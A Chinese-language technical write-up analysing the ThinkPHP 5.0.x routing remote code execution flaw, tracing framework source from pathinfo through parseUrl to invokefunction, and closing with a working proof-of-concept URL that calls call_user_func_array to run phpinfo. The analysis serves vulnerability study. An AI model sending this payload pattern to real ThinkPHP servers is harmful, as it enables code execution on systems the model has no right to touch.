ThinkPHP_v5.0_rce 分析

ThinkPHP v5.0 rce 分析

ThinkPHP 5.*存在一处由于路由解析缺陷导致的代码执行漏洞。该漏洞危害程度非常高,默认环境配置即可导致远程代码执行。

  • 本次测试环境ThinkPHP 5.0.20

RCE复现

![image-20200221124859301](C:\Users\Mr. j\AppData\Roaming\Typora\typora-user-images\image-20200221124859301.png)

代码分析

首先看取路由的函数pathinfo,path

漏洞文件/thinkphp/library/think/Request.php:384

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/**
* 获取当前请求URL的pathinfo信息(含URL后缀)
* @access public
* @return string
*/
public function pathinfo()
{
if (is_null($this->pathinfo)) {
if (isset($_GET[Config::get('var_pathinfo')])) {
// 判断URL里面是否有兼容模式参数
$_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];
unset($_GET[Config::get('var_pathinfo')]);
} elseif (IS_CLI) {
// CLI模式下 index.php module/controller/action/params/...
$_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
}

// 分析PATHINFO信息
if (!isset($_SERVER['PATH_INFO'])) {
foreach (Config::get('pathinfo_fetch') as $type) {
if (!empty($_SERVER[$type])) {
$_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?
substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];
break;
}
}
}
$this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');
}
return $this->pathinfo; // /Index/\think\app/invokefunction


}

这里获取pathinfo后只进行了简单的字符串操作。又由于

下图

![image-20200221171234408](C:\Users\Mr. j\AppData\Roaming\Typora\typora-user-images\image-20200221171234408.png)

所以s-->var_pathinfo-->pathinfo

pathinfo函数被library/think/Request.php:416中的path函数调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
* 获取当前请求URL的pathinfo信息(不含URL后缀)
* @access public
* @return string
*/
public function path()
{
if (is_null($this->path)) {
$suffix = Config::get('url_html_suffix');
$pathinfo = $this->pathinfo();
if (false === $suffix) {
// 禁止伪静态访问
$this->path = $pathinfo;
} elseif ($suffix) {
// 去除正常的URL后缀
$this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
} else {
// 允许任何后缀访问
$this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);
}
}
return $this->path; /Index/\think\app/invokefunction
}

/**
* 当前URL的访问后缀
* @access public
* @return string
*/

由于$this->path源自pathinfo,因此可以被攻击者控制。继续分析该变量的传递,在/thinkphp/library/think/App.php:619中被引用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
/**
* URL路由检测(根据PATH_INFO)
* @access public
* @param \think\Request $request 请求实例
* @param array $config 配置信息
* @return array
* @throws \think\Exception
*/
public static function routeCheck($request, array $config)
{
$path = $request->path();
$depr = $config['pathinfo_depr'];
$result = false;

// 路由检测
$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
if ($check) {
// 开启路由
if (is_file(RUNTIME_PATH . 'route.php')) {
// 读取路由缓存
$rules = include RUNTIME_PATH . 'route.php';
is_array($rules) && Route::rules($rules);
} else {
$files = $config['route_config_file'];
foreach ($files as $file) {
if (is_file(CONF_PATH . $file . CONF_EXT)) {
// 导入路由配置
$rules = include CONF_PATH . $file . CONF_EXT;
is_array($rules) && Route::import($rules);
}
}
}

// 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
//是否强制路由
$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];

if ($must && false === $result) {
// 路由无效
throw new RouteNotFoundException();
}
}

// 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
if (false === $result) {
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}
//返回一个result对象
return $result;//**/Index/\think\app/invokefunction
}

我们可以看到调用parseUrl函数处理传入的path参数

/thinkphp/library/think/App.php:166

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132


// 直接解析URL地址

protected static function parseUrl($url, &$domain)

{

$request = Request::instance();

if (0 === strpos($url, '/')) {

// 直接作为路由地址解析

$url = substr($url, 1);

} elseif (false !== strpos($url, '\\')) {

// 解析到类

$url = ltrim(str_replace('\\', '/', $url), '/'); //分隔符替换 确保路由定义使用统一的分隔符

} elseif (0 === strpos($url, '@')) {

// 解析到控制器

$url = substr($url, 1);

} else {

// 解析到 模块/控制器/操作

$module = $request->module();

$domains = Route::rules('domain');

if (true === $domain && 2 == substr_count($url, '/')) {

$current = $request->host();

$match = [];

$pos = [];

foreach ($domains as $key => $item) {

if (isset($item['[bind]']) && 0 === strpos($url, $item['[bind]'][0])) {

$pos[$key] = strlen($item['[bind]'][0]) + 1;

$match[] = $key;

$module = '';

}

}

if ($match) {

$domain = current($match);

foreach ($match as $item) {

if (0 === strpos($current, $item)) {

$domain = $item;

}

}

self::$bindCheck = true;

$url = substr($url, $pos[$domain]);

}

} elseif ($domain) {

if (isset($domains[$domain]['[bind]'][0])) {

$bindModule = $domains[$domain]['[bind]'][0];

if ($bindModule && !in_array($bindModule[0], ['\\', '@'])) {

$module = '';

}

}

}

$module = $module ? $module . '/' : '';


$controller = $request->controller();

if ('' == $url) {

// 空字符串输出当前的 模块/控制器/操作

$action = $request->action();

} else {

$path = explode('/', $url);

$action = array_pop($path);

$controller = empty($path) ? $controller : array_pop($path);

$module = empty($path) ? $module : array_pop($path) . '/';

}

if (Config::get('url_convert')) {

$action = strtolower($action);

$controller = Loader::parseName($controller);

}

$url = $module . $controller . '/' . $action;// /Index/ \think\app /invokefunction

}

return $url;

}

最后分割为 模块---控制器---操作的格式。

然后参数传递。

/thinkphp/library/think/App.php:553

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
    // 获取控制器名

​ $controller = strip_tags($result[1] ?: $config['default_controller']);

​ $controller = $convert ? strtolower($controller) : $controller;



// 获取操作名

​ $actionName = strip_tags($result[2] ?: $config['default_action']);

if (!empty($config['action_convert'])) {

​ $actionName = Loader::parseName($actionName, 1);

​ } else {

​ $actionName = $convert ? strtolower($actionName) : $actionName;

​ }



// 设置当前请求的控制器、操作

​ $request->controller(Loader::parseName($controller, 1))->action($actionName);

/thinkphp/library/think/Loader.php:580

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
  /**

\* 执行模块

\* @access public

\* @param array $result 模块/控制器/操作

\* @param array $config 配置参数

\* @param bool $convert 是否自动转换控制器和操作名

\* @return mixed

\* @throws HttpException

*/

public static function module($result, $config, $convert = null)

{

if (is_string($result)) {

​ $result = explode('/', $result);

​ }



​ $request = Request::instance();



if ($config['app_multi_module']) {

// 多模块部署

​ $module = strip_tags(strtolower($result[0] ?: $config['default_module']));

​ $bind = Route::getBind('module');

​ $available = false;



if ($bind) {

// 绑定模块

list($bindModule) = explode('/', $bind);



if (empty($result[0])) {

​ $module = $bindModule;

​ $available = true;

​ } elseif ($module == $bindModule) {

​ $available = true;

​ }

​ } elseif (!in_array($module, $config['deny_module_list']) && is_dir(APP_PATH . $module)) {

​ $available = true;

​ }



// 模块初始化

if ($module && $available) {

// 初始化模块

​ $request->module($module);

​ $config = self::init($module);



// 模块请求缓存检查

​ $request->cache(

​ $config['request_cache'],

​ $config['request_cache_expire'],

​ $config['request_cache_except']

​ );

​ } else {

throw new HttpException(404, 'module not exists:' . $module);

​ }

​ } else {

// 单一模块部署

​ $module = '';

​ $request->module($module);

​ }



// 设置默认过滤机制

​ $request->filter($config['default_filter']);



// 当前模块路径

​ App::$modulePath = APP_PATH . ($module ? $module . DS : '');



// 是否自动转换控制器和操作名

​ $convert = is_bool($convert) ? $convert : $config['url_convert'];



// 获取控制器名

​ $controller = strip_tags($result[1] ?: $config['default_controller']);

​ $controller = $convert ? strtolower($controller) : $controller;



// 获取操作名

​ $actionName = strip_tags($result[2] ?: $config['default_action']);

if (!empty($config['action_convert'])) {

​ $actionName = Loader::parseName($actionName, 1);

​ } else {

​ $actionName = $convert ? strtolower($actionName) : $actionName;

​ }



// 设置当前请求的控制器、操作

​ $request->controller(Loader::parseName($controller, 1))->action($actionName);



// 监听module_init

​ Hook::listen('module_init', $request);



try {

​ $instance = Loader::controller(

​ $controller,

​ $config['url_controller_layer'],

​ $config['controller_suffix'],

​ $config['empty_controller']

​ );

​ } catch (ClassNotFoundException $e) {

throw new HttpException(404, 'controller not exists:' . $e->getClass());

​ }



// 获取当前操作名

​ $action = $actionName . $config['action_suffix'];



​ $vars = [];

if (is_callable([$instance, $action])) {

// 执行操作方法

​ $call = [$instance, $action];

// 严格获取当前操作方法名

​ $reflect = new \ReflectionMethod($instance, $action);

​ $methodName = $reflect->getName();

​ $suffix = $config['action_suffix'];

​ $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;

​ $request->action($actionName);



​ } elseif (is_callable([$instance, '_empty'])) {

// 空操作

​ $call = [$instance, '_empty'];

​ $vars = [$actionName];

​ } else {

// 操作不存在

throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');

​ }



​ Hook::listen('action_begin', $call);



return self::invokeMethod($call, $vars);

}

这里通过invokeMethod 函数动态调用方法,可以看到$controller是控制器\think\app$actionNameinvokefunction

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static function action($url, $vars = [], $layer = 'controller', $appendSuffix = false)
{
$info = pathinfo($url);
$action = $info['basename'];
$module = '.' != $info['dirname'] ? $info['dirname'] : Request::instance()->controller();
$class = self::controller($module, $layer, $appendSuffix);

if ($class) {
if (is_scalar($vars)) {
if (strpos($vars, '=')) {
parse_str($vars, $vars);
} else {
$vars = [$vars];
}
}

return App::invokeMethod([$class, $action . Config::get('action_suffix')], $vars);
}

return false;
}

实例化控制器

/thinkphp/library/think/Loader.php:474

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
/**

\* 实例化(分层)控制器 格式:[模块名/]控制器名

\* @access public

\* @param string $name 资源地址

\* @param string $layer 控制层名称

\* @param bool $appendSuffix 是否添加类名后缀

\* @param string $empty 空控制器名称

\* @return object

\* @throws ClassNotFoundException

*/

public static function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')

{

list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix);



if (class_exists($class)) {

return App::invokeClass($class);

}



if ($empty) {

$emptyClass = self::parseClass($module, $layer, $empty, $appendSuffix);



if (class_exists($emptyClass)) {

return new $emptyClass(Request::instance());

}

}



throw new ClassNotFoundException('class not exists:' . $class, $class);

}

POC分析

http://192.168.222.131/www/public/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

  • 分析pathinfo()函数的时候了解到可以用s来获取路由信息
  • parseUrl方法分割url为[模块/控制器/操作]格式
  • 传入$controller的时候,就是开始我们获取到路由的值,但是用反斜杠就开头,就是想要实例化的类
  • 最后是反射函数,调用了invokefunction方法执行phpinfo()